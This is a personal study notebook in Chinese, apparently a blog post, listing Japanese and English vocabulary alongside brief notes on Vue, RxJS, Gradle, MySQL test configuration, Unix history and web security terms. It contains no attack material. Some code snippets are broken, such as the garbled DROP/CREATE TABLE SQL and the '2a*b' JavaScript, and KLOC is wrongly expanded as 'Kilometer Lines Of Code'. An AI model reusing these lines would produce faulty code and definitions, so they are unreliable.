比如,我们我们想要从上海去北京,我们不考虑这个票怎么买到, 还是做什么去,反正第二天,我们就到北京了,这就是声明式。但是命令式呢?我们还需要考虑,我们要是坐车怎么办,要是买票怎么办,是不是要中转什么的,考虑中间过程。而声明式就是中间过程交给别人去处理,我不管,这知道上海、北京
声明式渲染和命令式渲染_wangyuegyq的博客-CSDN博客_声明式渲染和命令式渲染
19.程序开发脚手架 (vue-cli)
什么是软件开发脚手架?为什么需要脚手架?常用的脚手架有哪些?
1.学习使用vue.js(适合初学者)_heshuaicsdn的博客-CSDN博客_在学习vue时js
20.Bootstrap
基于HTML、CSS、JavaScript 开发的简洁、直观、强悍的前端开发框架,使得 Web 开发更加快捷。Bootstrap提供了优雅的HTML和CSS规范,它即是由动态CSS语言Less写成。Bootstrap
21.BootStrap5.x + vue2.x
vue实现分页功能(BootStrap5.x + vue2.x)_Ravi-Moonlight的博客-CSDN博客_bootstrap vue分页
22.Tera Term(日语:テラターム ),是一款开放源代码的远程客户端操作软件,一开始是由日本物理学家寺西高(寺西 高/てらにし たかし )开发并发布的,之后是由TeraTerm Project在BSD许可证下进行维护支持。
23.ターミナル 【英】terminal ;终端,端子。 【英】terminal ;(电车、汽车的)终点站,航站楼。
24.ざっくばらん 【形容动词/ナ形容词】 直率,坦率,爽快;心直口快,直言。
25.まれ 稀 【形容动词/ナ形容词】少(有),稀,稀少,稀罕,罕见;稀奇。
26.母国語 ぼこくご
27.
28.
29.
30.
■2022/08/27~2022/10/25纯单词整理
1.モニタリング 监听;监视;监控 // 1週間モニタリングありがとうございました。 // データ流入確認
2.余分 よぶん 多余,剩余。
3.束 たば // 束ID
4.パイプ pipe 管道 // linux 中的管道 |
5.直近 ちょっきん
6.ambiguous [æmˈbɪɡjʊəs] 含糊不清的;引起歧义的 // SQL // AmbiguousTableNameException
7.technology [tɛkˈnɒlədʒɪ] n. 技术,科技;技术应用
8.knowledge [ˈnɒlɪdʒ] 知识;知晓;消息;理解范围
9.algorithm [ˈælɡəˌrɪðəm]
10.adventure [ədˈventʃə(r)] 冒险
11.assert [ə'sə:t] v. 断言;声称;维护;坚持
12.accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
13.sure 美 [ʃʊr] adv. 当然,的确
14.escape [ɪˈskeɪp] 逃跑;避免;逃避
15.except /ɪkˈsept/ 除……外 everyone except me
16.Exception // java 异常
17.exclusions 排除; maven pom 引用jar时
18.excludes [ɪkˈskluːd] 不包括;maven pom 根据prefile 指定不同环境的配置文件时
19.executions 执行; maven pom 执行打包命令 中的 plugin 中使用
20.role [rəʊl] n. 作用;角色
21.rule [ruːl] n. 规则;惯例;统治
22.suggestion 英 [səˈdʒɛstʃən] n. 建议;示意;联想;微量 // github pull request suggestins reviewers
23.シンボル symbol 象征。根据习惯和社会上的约定,表示某种事物的符号。 // java 编译 // Cannot find symbol //
24.ブーム 【英】boom;流行,暂时的景气,突然繁荣,过分繁荣。
25.ハム 【英】ham;火腿(豚肉を塩水に漬けてから燻製にした加工食品。)
26.ソーセージ 【英】sausage ;香肠,红肠,腊肠。(腸詰め。)
27.お摘み [おつまみ] 小吃小吃,简单的酒菜.,简单的酒菜.
28.ホワイトボード 白色的黑板,也叫白板。常用于教室、会议室等板书。
29.倉庫 そうこ
30.好み このみ 爱好,喜欢,嗜好。
31.コンセプト 【英】concept;概念,思想,观念。 「デザイン」、「乗り心地」
32.心地 ここち 感觉,心情。
33.燃費 ねんぴ
34.少数派 しょうすうは
35.コンサート 【英】concert;音乐会,演奏会。
36.トークショー talk show 脱口秀 谈话类节目
37.referrer 英 [rɪˈfɜːrə] 转交人;送交人 ; 介绍人;推荐人 // 简历推荐人 // HTTP中 referer(拼写错误,但一直沿用)
38.reference n. 提到,谈及;参考,查阅;证明人,介绍信 v. 查阅;参考;给(书)等附参考资料
39.Trident: [ˈtraɪdənt] 三齿鱼叉, 三叉戟, 三叉线 // IE 以Trident 作为内核引擎。
40.Gecko: [ˈɡekəʊ] 壁虎 //Firefox 是基于 Gecko 开发。
41.WebKit: // Safari, Google Chrome 基于 Webkit 开发。
42.Invocation 祈求;求助 // Remote Method Invocation
43.Inversion 倒转,否定,倒置 // Inversion of Control
44.version n. 译文;版本;描述;说法
45.vocation [vəʊˈkeɪʃən] n. 工作,职业,信心,使命感,圣召,神召
46.伝送 でんそう (依次)传送,传递。(次々に伝えて送ること。電気信号を伝えること。)
47.転送 てんそう 转送;转寄;转递。
48.第三分野とは、生命保険(第一分野)と損害保険(第二分野)の中間に位置する保険のことで、医療保険、がん保険、介護保険、傷害保険などさまざまな種類があります。
49.HMAC HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)
50.JWT:JSON Web Token
51.XHR XMLHttpRequest // HTTP AJAX
52.preserver 英 [pri'zə:və] 保护人;保护剂;储藏柜 // Chrome 开发者工具 ⇒ NetWork 中选中【preserver】,可以保存多次请求记录
53.LDAP(Lightweight Directory Access Protocol) 轻量目录访问协议
54. LDAP 中 CN、OU、DC 含义 CN=test,OU=developer,DC=domainname,DC=com
55. CN (Common Name)
56. OU (Organizational Unit)
57. DC (Domain Component)
58.BIG-IP (可以实现:ロードバランサ Load Balance)
59.Splunk (收集Log数据,进行分析等操作)
60.firewalld Linux防火墙
61.webJars // Spring boot Web 开发
62.CROS 实现浏览器跨域的方法:CORS 全称是"跨域资源共享"(Cross-origin resource sharing)
63.CSRF 跨站点请求伪造(Cross—Site Request Forgery)
64.cross 英 [krɒs] n. 十字形记号;十字形; v. 穿过;(使)交叉;
65.Origin n. ˈɒrɪdʒɪn/ n. 起源;出身;原点;起端
66.forgery 英 [ˈfɔːdʒərɪ] n. 伪造罪;伪造品 // CSRF 跨站请求伪造 Cross-site request forgery
67.ターミナル 【英】terminal ;终端,端子。 【英】terminal ;(电车、汽车的)终点站,航站楼。
68.ざっくばらん 【形容动词/ナ形容词】 直率,坦率,爽快;心直口快,直言。
69.まれ 稀 【形容动词/ナ形容词】少(有),稀,稀少,稀罕,罕见;稀奇。
70.母国語 ぼこくご
71.虹 にじ
72.情けない なさけない 1.无情,没有仁慈心。 2.悲惨,可怜。 3.可耻,可鄙,令人遗憾。
73.だらしない 1.邋遢;吊儿郎当 ;不整洁。2.散漫;马虎;不检点。3.窝囊;不争气 。
74.ありのまま 据实,事实上,实事求是。
75.日だまり 【名词】向阳处,有阳光处。
76.きつく結んだ目
77. 結ぶ 【他动词・五段/一类】系,结。
78. きつい 【形容词/イ形容词】
79.解く ほどく 1.解开(绳结等)。
80.繋ぐ つなぐ 1.绑,系,套。
81.未来が愛しい
82. 愛しい いとしい 1.可爱。令人喜爱,恋慕。 2.可怜。
83.一人ぽっち
84. ぽっち 只,仅仅。
85.温もり ぬくもり 1.温和,温暖,暖和气儿,暖气儿。(あたたかみ。ぬくみ。)
86.大事に笑う 小心翼翼第笑
87. 大事 だいじ 【名词】1.重要,要紧,宝贵,保重,爱护。 2.小心,慎重。 【形容动词】大事,重大问题,大事件。
88. 大事をとる 慎重从事
89.ぽつんと輝いていた
90. ぽつん 1.小点,窟窿。(点や穴ができるようす。) 2.孤立。(孤立しているようす。)
■2022/10/26以降
1.明け (あけ)
1.开始。(始めること。)
2.黎明。(夜明け。)
3.终了。(期間が終わること。)
2.【させてください】と【させていただく】
【させてください】是表示请允许我做某事,主体的动作是“允许”,所以是对方的动作。要用尊他语。
お昼休み明けに確認させてください。
(请允许我午后确认)
【させていただく】虽然也表示表示请允许我做某事,但是句子的主体是“做某事”,所以动作主语是我,所以用自谦。
明日XXXタスクの依頼を緊急で依頼させていただくと思います。
(明天会紧急依赖作业)
3.inception 英 [ɪnˈsepʃən] n. 开始,开端;获得学位 // 盗梦空间(电影中:植入想法)
4.solve 英 [sɒlv] v. 解决;破解
5.resolve 英 [rɪˈzɒlv] // JS ES6 Promise // n. 决心,决意;坚决 v. 解决;解答;决心,决定;决议;分解;使变成
// var p = new Promise(function(resolve, reject){
JS Promise 之 Hello World_sun0322的博客-CSDN博客
6.reject 英 [rɪˈdʒɛkt] // JS ES6 Promise //n. 不合格者;废品 v. 拒绝;驳回;丢掉,抛弃
denied 否认,拒绝
deny [di'nai] v. 否定,否认;拒绝给予;
403 forbidden 拒绝访问 // 资源不可用,服务器理解客户的请求,但拒绝处理它
negative 英 [ˈnɛɡətɪv] 否定,拒绝;负数 // negative integer // java comparator
7.inject 英 [ɪnˈdʒɛkt] v. 给…注射;注入;增添
8.promise 英 [ˈprɒmɪs] n. 许诺;希望,指望
9.Jsessionid子的就是sessionid,Tomcat中生成的就是叫做jsessionid。
sessionid是一个会话的key,浏览器第一次访问服务器会在服务器端生成一个session,有一个sessionid和它对应。tomcat生成的sessionid叫做【jsessionid】。
10.moral 英 [ˈmɒrəl] adj. 道德上的;讲道德的;道义上的 n. 道德;品行;风纪;寓意
11.normal 英 [ˈnɔːməl] adj. 正常的;正规的,标准的 n. 标准;常态
12.abnormal 英 [æbˈnɔːməl] adj. 不正常的;变态的;畸形的;异乎寻常的 //ABEND
13.CPI = EV/AC
信息系统管理 之 挣值管理(PV、EV、AC、SV、CV、SPI、CPI)记忆_乐开享001的博客-CSDN博客_假设当前日期为2019年4月1日,计算spi,sv,cpi,cv,并判断进度是否超前,成本是否
・AC Actual Cost:实际成本:完成工作的实际成本是多少 (截止目前实际的花费)
・EV Earned Value:挣值:完成了多少预算的工作 (实际完成的工作,按照预算标准应该有的花费)
・CPI 成本绩效指数 Cost Performance Index (项目管理中,一个衡量成本绩效的指标是成本绩效指数)
・CPI = EV/AC
PV:在某个时间点,按计划应该完成值多少钱的工作(或者说,计划完成的工作值多少钱)
EV:在某个时间点,实际上完成了值多少钱的工作
AC:在某个时间点,实际已经花费了多少钱
一句话说清楚这3个东东:项目例会上,领导黑着脸质问,小柜子,现在4天时间过去了,本应完成4000元(PV)的工作,却只完成了3000元(EV),但经费就已经花了5000元(AC)
其它
KLOC 千行代码 Kilometer Lines Of Code
KPI 关键绩效指标 (根据KLOC和Bug数来计算) Key PerFormance Indicator
KLOC(千行代码)是一个计算机程序有多大或者需要多少人来完成其编码工作的一个传统的度量标准。
KLOC已经用在了程序员生产率的粗略测量上,例如“你每天能写多少行代码?”。尽管如此,这种测量并没有考虑代码的效率。。很多其他因素很明显地影响着生产率。 Defects per KLOC是作为目标或评估代码质量的一种常用的度量标准。
defect n. 缺点,过失,缺陷
kilometer 英 [kɪˈlɒmɪtə] n. 千米,公里
14.earn v. 赚得;赚钱;挣得,获得;赢得,博得
15.Indicator 英 [ˈɪndɪˌkeɪtə] n. 指示器;标志,迹象;转向灯;指示
16.AmbiguousTableNameException
Ambiguous 英 [æmˈbɪɡjʊəs] adj. 含混不清的;引起歧义的
原因:
在不同的Schema中,有相同的表存在
解决办法:
指定Schema
currentSchema=yourSchema
Springboot的配置文件中 (无法解决,解决方法 看 17)
url: jdbc:mysql://localhost:3306/userInfoSystem?currentSchema=yourSchema
【user】テーブル,这样的表定义XML不需要变化
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<user id="1" user_name="Bob" age = "20" birthday = "2000-01-02" address = "北京市大兴区" />
<user id="2" user_name="Tom" age = "28" birthday = "1993-03-21" address = "上海市浦东新区" />
</dataset>
17.Mysql的JDBC连接中,指定Schema无效,需要新建一个用户(只能看到一个Schema的用户),才能解决
========
1.创建测试用用户
create user `dbunit`@`%` identified by `dbunit12345`
2.创建测试用数据库
create database `yourSystemDbDBUnit`
GRANT ALL ON yourSystemDbDBUnit.* to 'dbunit`@`%';
3.配置文件
src/test/resources
└application-test.properties
driverClassName: com.mysql.cj.jdbc.Driver
url: jdbc:mysql://localhost:3306/yourSystemDbDBUnit
username: dbunit
password: dbunit12345
initialization-mode: always
4.数据库定义SQL
src/main/resources
└schema-all.sql
DROP TABLE IF DROP TABLE IF EXISTS XXX_TABLE_1;;
DROP TABLE IF EXISTS XXX_TABLE_2;
CREATE TABLE DROP TABLE IF EXISTS XXX_TABLE_1(
);
CREATE TABLE DROP TABLE IF EXISTS XXX_TABLE_2(
);
========
18.則る のっとる 效法;遵照;根据。 // ルールに則って作業を行った。
19.ついでに 顺便;顺手;就便。 // 散歩のついでに、お菓子を買ってきた。 去散步,顺便买来了点心。
20.札 ふだ 纸币,钞票;票子;牌子。
21.はんこ 判子 // 图章,印鉴。 印章
22.蓋 ふた // 盖子
23.ダッシュ 破折号; dash 英 [dæʃ] n. 猛冲;短跑;破折号; // 記号「-」 // BSD:ダッシュを使ってはならない。
ps aux // BSD 风格
ps -elf // Unix (POSIX) 风格
24.BSD 是什么
Unix/Linux/BSD 它们之间的关系以及各自派系的介绍_liaowenxiong的博客-CSDN博客_bsd和unix的关系
因为 Unix 是收费的商业化操作系统,所以加州大学伯克利分校(University of California, Berkeley,缩写 UCB)在 Unix 的基础上开发自己的类 Unix 操作系统,这个操作系统就叫 BSD(Berkeley Software Distribution,伯克利软件发行版),也称 Berkeley Unix
25.POSIX 是什么
POSIX 是 IEEE 为了要在各种 Unix 操作系统上运行软件,而定义 API 的一系列互相关联的标准的总称,其正式称呼为 IEEE Std 1003,而国际标准名称为 ISO/IEC 9945。POSIX 这个名称是由理查德·斯托曼(RMS)应 IEEE 的要求而提议的一个易于记忆的名称。它是 Portable Operating System Interface(可移植操作系统接口)的缩写,而X则表明其对 Unix API 的传承。
26.GNU 简介
正是因为 Unix 的商业化和闭源,以及 BSD 和 AT&T 的著作版权纠纷,所以理查德·马修·斯托曼(Richard Matthew Stallman,简称 RMS)才发起了自由软件计划,这个计划叫 GNU,代号名字是 GNU’s Not Unix 的递归缩写,你可以理解为是一个「开源操作系统计划」或者叫「开源操作系统项目」或者叫「自由软件运动」都可以,总之这个计划的宗旨是让软件自由化,就是让所有的软件都开源
27.默认共享 (windows默认共享 )
======
默认共享是系统安装完毕后就自动开启的共享,也叫管理共享,常被管理员用于远程管理计算机。
在Windows 2000/XP及其以上版本中,默认开启的共享有“c$”、“d$”、“admin$”、“ipc$”等,
我们可以在“运行”对话框中输入“\\计算机名\盘符$”对这些资源进行访问,以上这些共享就叫做默认共享。
默认共享是只面向【管理员组】的【用户】开启的共享
默认共享是由系统自动创建的,我们无法通过“网上邻居”看到这些共享资源,这也是默认共享和手动创建的共享目录的区别。
(唯一的方法就是通过UNC路径来实现访问。【UNC路径:“\\计算机名\盘符$” 】 )
======
28.nginx IP访问限制配置
nginx IP 访问限制配置_林onetwo的博客-CSDN博客
网段限制:
#allow 192.168.131.0/24; 允许192.168.131.1-254
#allow 192.168.0.0/16;
#allow 192.0.0.0/8;
其他网段访问时
29.mineral 英 [ˈmɪnərəl] n. 矿物;矿石;矿物质;矿泉水 // ミネラル
30.material 英 [məˈtɪərɪəl] n. 材料,物质,素材
■2022/11/23以降
1.escape character; 转义字符
2.escape 英 [ɪˈskeɪp] v. 逃跑;避免;逃避 // esc键
3.character 英 [ˈkærɪktə] n. 性格;特点;角色,人物;品行;有趣的人;字母,字符
4.Gradle介绍
深入理解Android之Gradle_阿拉神农的博客-CSDN博客
5.groovy 英 [ˈɡruːvɪ] adj. 很帅的,时髦的; 吸引人的; 有趣的;
6.Groovy 是一种开发语言,是基于JVM的实现的
7.Gradle是一个基于Apache Ant和Apache Maven概念的项目自动化构建开源工具。它使用一种基于Groovy的特定领域语言(DSL)来声明项目设置,也增加了基于Kotlin语言的kotlin-based DSL,抛弃了基于XML的各种繁琐配置。面向Java应用为主。
・Gradle通过编写一个名为build.gradle的脚本文件对项目进行设置,再根据这个脚本对项目进行构建
・Gradle里有两个基本概念:项目(projects)和任务(tasks)。
・Gradle的构建分两个阶段,第一阶段是设置阶段(configuration phase),分析构建脚本,处理依赖关系和执行顺序等,脚本本身也需要依赖来完成自身的分析。第二阶段是执行阶段(execution phase),此阶段真正构建项目并执行项目下的各个任务。
8.DSL,即Domain Specific Language 领域相关语言(领域特定语言)) // 什么是DSL,说白了它是某个行业中的行话。 // Gradle 它是一种DSL
9.函数表达式 (JS中)
var result = function (a,b) {
return a*a - 2a*b + b*b;
};
函数式编程 (Java8新特性之一)
函数式编程中的函数这个术语不是指计算机中的函数,而是指数学中的函数,即自变量的映射。也就是说一个函数的值仅决定于函数参数的值,不依赖其他状态。比如sqrt(x)函数计算x的平方根,只要x不变,不论什么时候调用,调用几次,值都是不变的。
函数式编程和命令式编程最大的区别?
函数式编程关心数据的映射,而命令式编程关心解决问题的步骤。
10.Asset 英 [ˈæset] n. 有价值的人或物,有利条件,优点;资产
// Git Hub ⇒ Tags ⇒ assets (使用Jenkins打包生成的资材)
// Angular ⇒【工程】/src/assets/ (和【app】目录同级)
11.probably 英 [ˈprɒbəblɪ] adv. 可能,大概,或许
// Angular // npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
// 这可能不是npm的问题。上面可能有额外的日志输出。
12.alter 英 [ˈɔːltə] v. 改变,更改 // DB // ALTER TABLE CUSTOMERS ADD SEX char(1);
13.alert 英 [əˈlɜːt] n. 警戒,警惕;警报 // JS
14.MIME
全称为“Multipurpose Internet Mail Extensions”, 比较确切的中文名称为“多用途互联网邮件扩展”。它是当前广泛应用的一种电子邮件技术规范,基本内容定义于RFC 2045-2049
在HTTP中,MIME类型被定义在Content-Type header中。
比如,你要传送一个 Microsoft Excel 文件到客户端。那么这时的MIME类型就是"Content-Type:application/vnd.ms-excel"
比如,你要传送一个 html(最常见的传送) 文件到客户端。那么这时的MIME类型就是"Content-Type:text/html"
使用meta来定义
<meta http-equiv="content-Type" content="text/html; charset=gb2312">
15.meta
meta是HTML语言head区的一个辅助性标签,位于文档的头部,不包含任何内容。
meta元素可提供相关页面的元信息(meta-information),比如针对搜索引擎和更新频度的描述和关键词。
meta-information 元信息
meta date 元数据
meta-inf // spring的jar包中,有这个文件夹
16.バッテリー 【英】 battery ;蓄电池。 // PC 充电时 显示 バッテリーの状態28%
17.三浦 みうら // 姓氏
18.小銭 こぜに 零钱,零用钱;少量资金。(小額の金。細かい金。)
19.ユニークな 【英】unique;与众不同的,别出心裁的。 // 唯一的
20.募金 ぼきん 募捐 捐款
21.寄付 きふ 捐献,赠给,赠送
22.Rxjs // Angular
reactive 英 [rɪˈæktɪv] adj.反应的;回应的
observable 英 [əb'zə:vəbl] adj. 可观察的;看得见的
subscribe 英 [səbˈskraɪb] v. 订阅;捐款;认购;申请;签署
Observer n. /əbˈzɜːvə/ 旁观者;目击
names$ // Observable对象
names$.subscribe(value => {
console.log(value);
});
Observable (可观察对象): 表示一个概念,这个概念是一个可调用的未来值或事件的集合。
Observer (观察者): 一个回调函数的集合,它知道如何去监听由 Observable 提供的值。
Subscription (订阅): 表示 Observable 的执行,主要用于取消 Observable 的执行。
===
/** @deprecated Use an observer instead of a complete callback */
subscribe(next: (value: T) => void, error: null | undefined, complete: () => void): Subscription;
subscribe(next?: (value: T) => void, error?: (error: any) => void, complete?: () => void): Subscription;
Observer 是观察者,数据使用者,数据消费者。
Observer 是一个包含三个方法的对象,每当 Observable 触发事件时,便会自动调用观察者的对应方法。
const observer = {
next: (info: any) => {
console.log(info);
},
complete: () => {
console.log('complete')
},
error: () => {
console.log('error')
}
};
next :每当 Observable 发送新值的时候,next 方法会被调用
error:当 Observable 内发生错误时,error 方法就会被调用
complete: 当 Observable 数据终止后,complete 方法会被调用。在调用 complete 方法之后,next 方法就不会再次被调用
23.arrow function 箭头函数 英 [ˈærəʊ]
24.hook 英 [hʊk] n. 钩子,吊钩,挂钩;镰刀;勾拳
hook function // VUE
// 生命周期钩子会在组件生命周期的各个不同阶段被调用
// 例如这个函数就会在组件挂载完成后被调用
mounted() {
console.log(`The initial count is ${this.count}.`)
}
25.zoom in v. 放大
26.SVF
在对日项目中,有种要把FORM内容生成PDF文件的业务。原理就是首先制作frm文件,然后动态设置值到表单对应项,最后打印成PDF。
使用SVF.jar包来开发。
(两个包svf.jar和svfrclient.jar)
SVF账票的PDF文件生成 - mandy3651423 - 博客园
27.@Lazy
在实际开发场景中,并不是所有bean都要一开始就被创建的,有些可以等到使用时才创建。此时就可以使用该注解实现。
@Lazy注解作用于类上时,通常与@Component及其衍生注解配合使用。
此注解只对单例bean有用,原型bean时此注解不起作用。
@Component默认是单例模式
28.ksh
.sh 和 .ksh —— 三种主要的 Shell简介(Korn shell) - 怎么著都不成 - 博客园
在大部份的UNIX系统,三种著名且广被支持的shell
・Bourne shell(AT&T shell,在 Linux 下是BASH)
・C shell(Berkeley shell,在 Linux 下是TCSH)
・Korn shell(Bourne shell的超集)
Korn shell 是Bourne shell 的超集(superset),由 AT&T 的 David Korn 所开发
29.Terasoluna
多様なシステムを短期間で構築するTERASOLUNA
30.Terasoluna Batch 5.X
TERASOLUNA Batch Framework for Java (5.x) Development Guideline (terasoluna-batch.github.io)
===
■2022/12/16以降
1.承る うけたまわる (谦让语)知道。明白。// かしこまりました。承ります。
2.check off 核对…后打钩
3.こないだ このあいだ(此の間)
4.ひょっと 1.忽然,忽地。 2.或许,说不定
5.ひょっとしたら 也许,或许,说不定,有可能。
6.浮かぶ うかぶ 1.浮;漂;飘;漂浮;飘浮。 4.想起;想出;涌上心头;浮现于脑海。
7.酢飯 すめし 掺杂了醋的米饭 寿司的旧称
8.豆 まめ
9.レンコン 莲藕
10.見通 みとおし 1.瞭望,眺望。 2.预料,预见;推测。
11.一対 いっつい
12.貝殼 かいがら
13.「パート」 全称是パートタイム,来自英语part-time 表示(按时计酬)打零工,兼职。
工作的时间和性质上「パートタイム」是比正式员工的工作时间要一些少的员工,而「アルバイト」是临时雇佣的员工(临时工),工作内容上「パートタイム」只是在劳动时间上比正式员工短一些,但在工作内容上很多是和正式员工一样的,时间也是长期的。
14.インバウンド 【英】inbound ;入境。 (帰りの、本国行きの、の意。)
15.セミナー 研讨会
16.最寄 もより 1.附近,就近。(最も近い所。付近。) // 最寄駅から会社まで
17.rider 英 [ˈraɪdə] n. 骑手;骑马(或自行车、摩托车)的人;乘客;附加条款;扶手 // 附加条款 [特約]
18.declaration 英 [ˌdɛkləˈreɪʃən] n. 宣布,公告声明书,申报宣称 // 告知
19.insurance 英 [ɪnˈʃʊərəns] n. 保险;保险费;预防措施
20.medical 英 [ˈmɛdɪkəl] adj. 医学的;内科的;医药的 n. 体格检查;医生
21.補う おぎなう 补,填补;弥补。
22.ぶつかる 碰,撞。猛地接触上。
23.柵 さく // 事故が特に多い場所には鹿の進入を防ぐ柵を設置したりしています
24.ツアー 【英】tour ;旅行,旅游,游览。 国内ツアー
25.宿泊 しゅくはく
26.レンタカー rent a car 租赁车
27.年々増加し ねんねん ぞうか
28.上回る うわまわる 超过,越出 // 世界平均の3時間をはるかに上回る5時間で世界最長となっています
29.遥か はるか
30.堅苦しい かたくるしい 1.严格,限制过严,,没有通融余地,死板, 郑重其事,拘泥形式。
31.子育て こそだて
32.発揮 はっき
33.メロン 甜瓜,白兰瓜
34.マロン 栗子
35.インコ 鹦鹉
36.庄司 しょうじ しょうし
37.瀬川 せがわ
38.~がち【勝ち】(一般不写汉字)
佐藤さんは留守がちだから、電話してもいないことが多い。 佐藤总是外出,给他打电话他常常不在。
でも、いちばん大事なのは、話すスピードかな。緊張すると、最初はゆっくりでもだんだん速くなりがちだから。
①表示具有某种倾向,可翻译为:每每,往往,容易……,好…….
若いものは極端にはしりがちだ/年轻人往往好走极端。
この病気は子どもにありがちだ/小孩儿很容易得这种病
彼は怠けがちだ/他好偷懒。
②表示经常性动作。可翻译为:常常,经常,比较多,大部分是。
あの人は留守がちです/他常不在家
39.参る まいる 4.受不了,吃不消;叫人为难;不堪,累垮。
40.張り切る はりきる 1.拉紧,绷紧。 2.干劲十足。 3.紧张。
41.フェスタ 1.festa(意大利),祭り。祝祭。祭祀(さいし)。祝日。
42.SNS一般指社交网络服务。 社交网络服务(Social Networking Service,简称SNS
43.キャラクター 【英】character ;性格,性质;人物,角色,漫画、电影、戏剧等的出场人物。
44.親しみ したしみ 1.亲密感情,亲近,亲切
45.スイーツ 甜点。糖果。(菓子やデザートなどの甘味を英語で「スイーツ」と呼称するような日本人女性のことを意味する日本のインターネットスラング。)
46.スラング 1.【英】slang ;俚语,行话,黑话,(盗贼等用的)切口,隐语。
47.一石二鳥 いっせきにちょう
48.足を運ぶ あしをはこぶ 前去访问。
49.販促 はんそく
50.くたびれる 草臥れる 1.疲劳。疲乏。 2.穿旧。用旧。
51.アロマ 1.【拉丁】 aroma ;香気,芳香。(香り。芳香。)
52.ライター 2.【英】lighter;打火机,主要用于点烟的器具。 1.【英】writer;作家,撰稿人,以写文章为业的人。
53.ブレーキ 【英】brake;制动器,车闸,刹车(器)
54.座席 ざせき
55.インターンシップ 【英】internship;实习,学生在企业短期间体验业务工作。
56.ついて 就いて // についえ に就いて
57.就職 しゅうしょく
58.武田 たけだ 竹 たけ
59.
60.
■2022/10/26~2022/12/31纯单词整理
1.明け (あけ) 开始。(始めること。) // お昼休み明けに確認させてください。
2.inception 英 [ɪnˈsepʃən] n. 开始,开端;获得学位 // 盗梦空间(电影中:植入想法)
3.solve 英 [sɒlv] v. 解决;破解
4.resolve 英 [rɪˈzɒlv] // JS ES6 Promise // n. 决心,决意;坚决 v. 解决;解答;决心,决定;决议;分解;使变成
var p = new Promise(function(resolve, reject){
5.POSIX 是 IEEE 为了要在各种 Unix 操作系统上运行软件,
ps -elf // Unix (POSIX) 风格
ps aux // BSD 风格
因为 Unix 是收费的商业化操作系统,所以加州大学伯克利分校(University of California, Berkeley,缩写 UCB)
在 Unix 的基础上开发自己的类 Unix 操作系统,
这个操作系统就叫 BSD(Berkeley Software Distribution,伯克利软件发行版),也称 Berkeley Unix
19.GNU 简介
正是因为 Unix 的商业化和闭源,以及 BSD 和 AT&T 的著作版权纠纷,
所以理查德·马修·斯托曼(Richard Matthew Stallman,简称 RMS)才发起了自由软件计划,
这个计划叫 GNU,代号名字是 GNU’s Not Unix 的递归缩写,
你可以理解为是一个「开源操作系统计划」或者叫「开源操作系统项目」或者叫「自由软件运动」都可以
6.reject 英 [rɪˈdʒɛkt] // JS ES6 Promise //n. 不合格者;废品 v. 拒绝;驳回;丢掉,抛弃
7.inject 英 [ɪnˈdʒɛkt] v. 给…注射;注入;增添
8.promise 英 [ˈprɒmɪs] n. 许诺;希望,指望
9.Jsessionid子的就是sessionid,Tomcat中生成的就是叫做jsessionid。
10.moral 英 [ˈmɒrəl] adj. 道德上的;讲道德的;道义上的 n. 道德;品行;风纪;寓意
11.normal 英 [ˈnɔːməl] adj. 正常的;正规的,标准的 n. 标准;常态
12.abnormal 英 [æbˈnɔːməl] adj. 不正常的;变态的;畸形的;异乎寻常的 //ABEND
14.earn v. 赚得;赚钱;挣得,获得;赢得,博得
15.Indicator 英 [ˈɪndɪˌkeɪtə] n. 指示器;标志,迹象;转向灯;指示
16.AmbiguousTableNameException
Ambiguous 英 [æmˈbɪɡjʊəs] adj. 含混不清的;引起歧义的
17.則る のっとる 效法;遵照;根据。 // ルールに則って作業を行った。
18.ついでに 顺便;顺手;就便。 // 散歩のついでに、お菓子を買ってきた。 去散步,顺便买来了点心。
20.札 ふだ 纸币,钞票;票子;牌子。
21.はんこ 判子 // 图章,印鉴。 印章
22.蓋 ふた // 盖子
23.ダッシュ 破折号; dash 英 [dæʃ] n. 猛冲;短跑;破折号; // 記号「-」 // BSD:ダッシュを使ってはならない。
24.mineral 英 [ˈmɪnərəl] n. 矿物;矿石;矿物质;矿泉水 // ミネラル
25.material 英 [məˈtɪərɪəl] n. 材料,物质,素材
■2022/11/23以降
1.escape character; 转义字符
2.escape 英 [ɪˈskeɪp] v. 逃跑;避免;逃避 // esc键
3.character 英 [ˈkærɪktə] n. 性格;特点;角色,人物;品行;有趣的人;字母,字符
4.Gradle介绍
5.groovy 英 [ˈɡruːvɪ] adj. 很帅的,时髦的; 吸引人的; 有趣的;
Groovy 是一种开发语言,是基于JVM的实现的
6.DSL,即Domain Specific Language 领域相关语言(领域特定语言)) // 什么是DSL,说白了它是某个行业中的行话。 // Gradle 它是一种DSL
7.函数式编程 (Java8新特性之一)
函数式编程中的函数这个术语不是指计算机中的函数,而是指数学中的函数,即自变量的映射。
也就是说一个函数的值仅决定于函数参数的值,不依赖其他状态。
比如sqrt(x)函数计算x的平方根,只要x不变,不论什么时候调用,调用几次,值都是不变的。
8.函数式编程和命令式编程最大的区别?
函数式编程关心数据的映射,而命令式编程关心解决问题的步骤。
9.Asset 英 [ˈæset] n. 有价值的人或物,有利条件,优点;资产
// Git Hub ⇒ Tags ⇒ assets (使用Jenkins打包生成的资材)
// Angular ⇒【工程】/src/assets/ (和【app】目录同级)
11.probably 英 [ˈprɒbəblɪ] adv. 可能,大概,或许
12.alter 英 [ˈɔːltə] v. 改变,更改 // DB // ALTER TABLE CUSTOMERS ADD SEX char(1);
13.alert 英 [əˈlɜːt] n. 警戒,警惕;警报 // JS
16.バッテリー 【英】 battery ;蓄电池。 // PC 充电时 显示 バッテリーの状態28%
17.三浦 みうら // 姓氏
18.小銭 こぜに 零钱,零用钱;少量资金。(小額の金。細かい金。)
19.ユニークな 【英】unique;与众不同的,别出心裁的。 // 唯一的
20.募金 ぼきん 募捐 捐款
21.寄付 きふ 捐献,赠给,赠送
22.Rxjs // Angular
reactive 英 [rɪˈæktɪv] adj.反应的;回应的
observable 英 [əb'zə:vəbl] adj. 可观察的;看得见的
subscribe 英 [səbˈskraɪb] v. 订阅;捐款;认购;申请;签署
23.arrow function 箭头函数 英 [ˈærəʊ]
24.hook 英 [hʊk] n. 钩子,吊钩,挂钩;镰刀;勾拳
25.zoom in v. 放大
26.SVF ((两个包svf.jar和svfrclient.jar) )
在对日项目中,有种要把FORM内容生成PDF文件的业务。原理就是首先制作frm文件,然后动态设置值到表单对应项,最后打印成PDF。
■2022/12/16以降
